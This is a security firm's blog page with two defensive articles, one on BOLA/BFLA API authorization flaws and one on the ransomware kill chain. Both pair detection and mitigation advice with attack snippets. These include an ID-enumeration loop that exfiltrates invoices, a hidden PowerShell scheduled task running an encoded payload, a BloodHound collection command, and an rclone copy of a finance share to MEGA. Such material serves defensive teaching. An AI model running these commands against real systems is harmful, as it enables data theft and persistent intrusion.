Showing Posts From

Offensive defensive security

API Security Blueprint: Defending Microservices Against BOLA and BFLA Attacks

API Security Blueprint: Defending Microservices Against BOLA and BFLA Attacks

APIs are the connective tissue of modern software. They are also the primary attack surface. The OWASP API Security Top 10 places Broken Object Level Authorization (BOLA) and Broken Function Level Authorization (BFLA) at positions #1 and #5 respectively — and for good reason. These vulnerabilities are endemic, trivially exploitable, and catastrophically impactful. In microservices architectures, where dozens of APIs communicate internally and externally, a single misconfigured authorization layer creates a blast radius that spans entire domains of sensitive data.Understanding BOLA (Broken Object Level Authorization) BOLA occurs when an API exposes object identifiers (IDs) in requests but fails to verify that the authenticated user has permission to access that specific object. Vulnerable pattern: GET /api/v1/invoices/84729 Authorization: Bearer <user_A_token>If the server returns the invoice regardless of whether user_A owns invoice 84729, it is vulnerable to BOLA. An attacker simply iterates IDs: import requestsheaders = {"Authorization": f"Bearer {attacker_token}"} for invoice_id in range(80000, 90000): r = requests.get(f"https://api.example.com/api/v1/invoices/{invoice_id}", headers=headers) if r.status_code == 200: exfiltrate(r.json()) # Every 200 is someone else's dataThis is not a theoretical attack. BOLA was the root cause of the Optus (11M customer records), T-Mobile (2021), and dozens of fintech API breaches.Implementing Robust Object-Level Authorization Option 1: Database-level ownership checks (mandatory baseline) Never trust the client-supplied ID alone. Always enforce ownership in your query: # VULNERABLE def get_invoice(invoice_id: int, current_user: User): return db.query(Invoice).filter(Invoice.id == invoice_id).first()# SECURE — ownership enforced at query level def get_invoice(invoice_id: int, current_user: User): invoice = ( db.query(Invoice) .filter(Invoice.id == invoice_id, Invoice.owner_id == current_user.id) .first() ) if not invoice: raise HTTPException(status_code=404) # Always 404, never 403 — prevents enumeration return invoiceOption 2: Non-sequential, non-guessable identifiers Replace auto-increment integer IDs with UUIDs or ULIDs. This doesn't fix authorization logic, but it eliminates trivial enumeration: import ulidclass Invoice(Base): id: str = Column(String, primary_key=True, default=lambda: str(ulid.new()))Option 3: Relationship-scoped queries In multi-tenant systems, scope all queries to the tenant context extracted from the JWT: def get_invoices(current_user: User, db: Session): return ( db.query(Invoice) .join(Organization) .filter( Organization.id == current_user.organization_id, Invoice.organization_id == current_user.organization_id, ) .all() )Understanding BFLA (Broken Function Level Authorization) BFLA occurs when an API exposes administrative or privileged functions to users who should not have access — typically because authorization checks on function-level (not just data-level) are missing or incorrect. Attack scenario: # Regular user discovers admin endpoints via API spec exposure GET /api/v1/admin/users → 403 Forbidden (good) DELETE /api/v1/users/54321 → 200 OK (should be 403 for non-admins!) POST /api/v1/users/54321/promote → 200 OK (privilege escalation!)Common root causes:Frontend hides admin buttons, but backend doesn't enforce role checks API versioning gaps — /api/v2/ has checks, /api/v1/ endpoints were forgotten HTTP method confusion — GET /invoice/123 is authorized, DELETE /invoice/123 is not checked separatelyImplementing Function-Level Authorization Role-Based Access Control (RBAC) decorator pattern: from functools import wraps from enum import Enumclass Role(Enum): USER = "user" MANAGER = "manager" ADMIN = "admin"ROLE_HIERARCHY = {Role.USER: 0, Role.MANAGER: 1, Role.ADMIN: 2}def require_role(minimum_role: Role): def decorator(func): @wraps(func) async def wrapper(*args, current_user: User, **kwargs): if ROLE_HIERARCHY[current_user.role] < ROLE_HIERARCHY[minimum_role]: raise HTTPException( status_code=403, detail="Insufficient privileges" ) return await func(*args, current_user=current_user, **kwargs) return wrapper return decorator# Usage @router.delete("/users/{user_id}") @require_role(Role.ADMIN) async def delete_user(user_id: str, current_user: User = Depends(get_current_user)): ...@router.post("/users/{user_id}/promote") @require_role(Role.ADMIN) async def promote_user(user_id: str, current_user: User = Depends(get_current_user)): ...Attribute-Based Access Control (ABAC) for fine-grained policies: For complex enterprise systems, RBAC alone is insufficient. Use OPA as a centralized policy engine: # opa/policies/api_authz.rego package api.authzdefault allow = false# Users can only read their own resources allow { input.method == "GET" input.path == ["api", "v1", "invoices", invoice_id] input.user.id == data.invoices[invoice_id].owner_id }# Managers can read any invoice within their organization allow { input.method == "GET" input.path == ["api", "v1", "invoices", _] input.user.role == "manager" input.user.org_id == data.invoices[invoice_id].org_id }# Only admins can delete allow { input.method == "DELETE" input.user.role == "admin" }API Gateway-Level Enforcement Authorization logic must not live only in individual microservices — that creates drift and gaps. Enforce coarse-grained policies at the API gateway layer (Kong, AWS API Gateway, Apigee): # Kong declarative config — rate limit and JWT validation plugins: - name: jwt config: key_claim_name: kid claims_to_verify: - exp - iss - name: rate-limiting config: minute: 60 hour: 1000 policy: redis - name: opa config: server: http://opa-service:8181 policy: api/authz/allowDetection & Anomaly Monitoring Authorization vulnerabilities that reach production require behavioral detection: # Alert on BOLA enumeration patterns rule = { "name": "API Object Enumeration Detected", "condition": ( "same_user_id AND sequential_resource_ids AND " "request_count_1min > 50 AND " "response_mix_200_404" ), "action": ["block_user", "alert_security_team", "create_incident"], }Key signals to monitor:Same user accessing sequential or high-volume distinct object IDs in short windows 403/404 response volume spikes from a single source Unexpected HTTP method usage on resource endpoints (DELETE, PATCH from user-tier tokens)API Security Checklist Object-level authorization enforced at query layer — never trust client-supplied IDs alone Non-sequential identifiers (UUID/ULID) on all externally-exposed resources Function-level authorization enforced server-side via RBAC/ABAC on every endpoint HTTP method authorization verified — GET auth ≠ DELETE auth API spec not publicly exposed (redact or gate OpenAPI/Swagger in production) All API versions (v1, v2) have equivalent authorization coverage API gateway enforcing JWT validation, rate limiting, and OPA policy evaluation Behavioral anomaly detection alerting on enumeration patterns Regular BOLA/BFLA-targeted penetration tests (quarterly minimum)GurkhaX conducts API security audits, penetration testing, and authorization architecture reviews for microservices platforms. Request an API security assessment from our offensive security team.

Read IntelPOST #01
Anatomy of Modern Ransomware: Defensive Tactics for Enterprise Infrastructure

Anatomy of Modern Ransomware: Defensive Tactics for Enterprise Infrastructure

Modern ransomware groups have evolved far beyond opportunistic spray-and-pray attacks. Today's ransomware operations — Scattered Spider, ALPHV/BlackCat, LockBit 4.0 successors — run like disciplined corporations: reconnaissance teams, initial access brokers, dedicated affiliates, and negotiation desks. Defending against them requires understanding how they actually operate. This article maps the modern ransomware kill chain and provides concrete defensive countermeasures at each stage.Stage 1: Initial Access How they get in:Vector FrequencyPhishing / Spearphishing ~35%Exploited public-facing vulnerabilities (VPNs, ESXi, Exchange) ~30%Valid credentials (purchased from Initial Access Brokers) ~25%Supply chain / Trusted third-party compromise ~10%Defensive countermeasures:Phishing-resistant MFA — enforce FIDO2 hardware keys or passkeys for all privileged accounts. TOTP and SMS are not phishing-resistant. Vulnerability management SLA — critical CVEs on internet-facing systems must be patched within 48 hours. Scan with Nuclei or Tenable daily. VPN/RDP hardening — disable legacy protocols, enforce certificate-based authentication, place behind IP allowlists where operationally feasible. Credential monitoring — enroll in breach databases (SpyCloud, HaveIBeenPwned Enterprise) and rotate any credentials surfacing in IAB markets.Stage 2: Execution & Persistence After initial access, threat actors deploy loaders (Cobalt Strike beacons, BruteRatel, Sliver) and establish persistence: # Common persistence via scheduled task (defender simulation for EDR testing) $action = New-ScheduledTaskAction -Execute "powershell.exe" ` -Argument "-WindowStyle Hidden -EncodedCommand <base64payload>" $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName "WindowsUpdateHelper" -Action $action -Trigger $triggerDetection hooks:Alert on Register-ScheduledTask / schtasks.exe spawned by unusual parent processes Monitor HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry modifications Deploy AMSI (Antimalware Scan Interface) bypass detection — alert on AmsiUtils reflection patterns in PowerShell logsStage 3: Credential Harvesting & Lateral Movement Ransomware groups pivot aggressively. Common TTPs:DCSync attacks via Mimikatz (or SharpKatz) to dump domain credentials from Active Directory Pass-the-Hash / Pass-the-Ticket using NTLM hashes or Kerberos tickets LSASS memory dumping — triggering comsvcs.dll MiniDump or using ProcDump Kerberoasting — requesting TGS tickets for SPNs and cracking offline# Simulate Kerberoasting detection via BloodHound path analysis bloodhound-python -u svc_account -p Password123 -d corp.local -c All --zipDefensive countermeasures:Enable Credential Guard on all Windows endpoints — isolates LSASS in a virtualization-based security (VBS) environment Implement Protected Users security group for all privileged accounts — prevents NTLM authentication and credential caching Audit and disable unconstrained delegation on service accounts — the primary enabler of lateral movement Deploy LAPS (Local Administrator Password Solution) to randomize local admin passwords per hostStage 4: Data Exfiltration (Double Extortion) Before encryption, operators exfiltrate sensitive data to their C2 infrastructure for double extortion leverage: # Rclone - commonly abused for exfiltration to cloud storage rclone copy \\fileserver\finance\ mega:backup/ --max-size 50GDetection signals:Unusual rclone.exe or MEGAsync.exe process execution Large outbound data transfers to cloud storage endpoints (MEGA, Dropbox, pCloud) from servers DNS queries for C2 domains — deploy Threat Intel feed DNS RPZ blocking at the resolver levelStage 5: Encryption & Ransom Demand Modern ransomware uses hybrid encryption: AES-256 for file content, RSA-4096 or Curve25519 for key wrapping. This makes decryption without the adversary's private key computationally infeasible. Ransomware-resistant backup architecture: Production Systems | ↓ (continuous replication) Immutable Snapshot Store (S3 Object Lock / Azure Immutable Blob) | ↓ (daily airgap sync) Offline Tape / Air-Gapped Cold StorageCritical requirements:Immutable backups — S3 Object Lock in Compliance mode, minimum 30-day retention 3-2-1-1-0 backup rule: 3 copies, 2 different media, 1 offsite, 1 air-gapped, 0 errors verified Quarterly restoration drills — untested backups are not backupsIncident Response Playbook Essentials When ransomware triggers:Isolate — immediately segment affected hosts at the network switch level. Do not merely disable NICs. Preserve — take memory dumps and disk images before remediation destroys forensic evidence. Notify — engage legal counsel before contacting law enforcement to manage regulatory disclosure timelines. Threat Intel — identify the ransomware family via ID Ransomware or Coveware. Some families have published decryptors. Recover from verified clean backups — never pay without exhausting decryption alternatives.GurkhaX conducts ransomware readiness assessments, tabletop exercises, and EDR deployment engagements. Request a threat assessment before an incident forces the conversation.

Read IntelPOST #02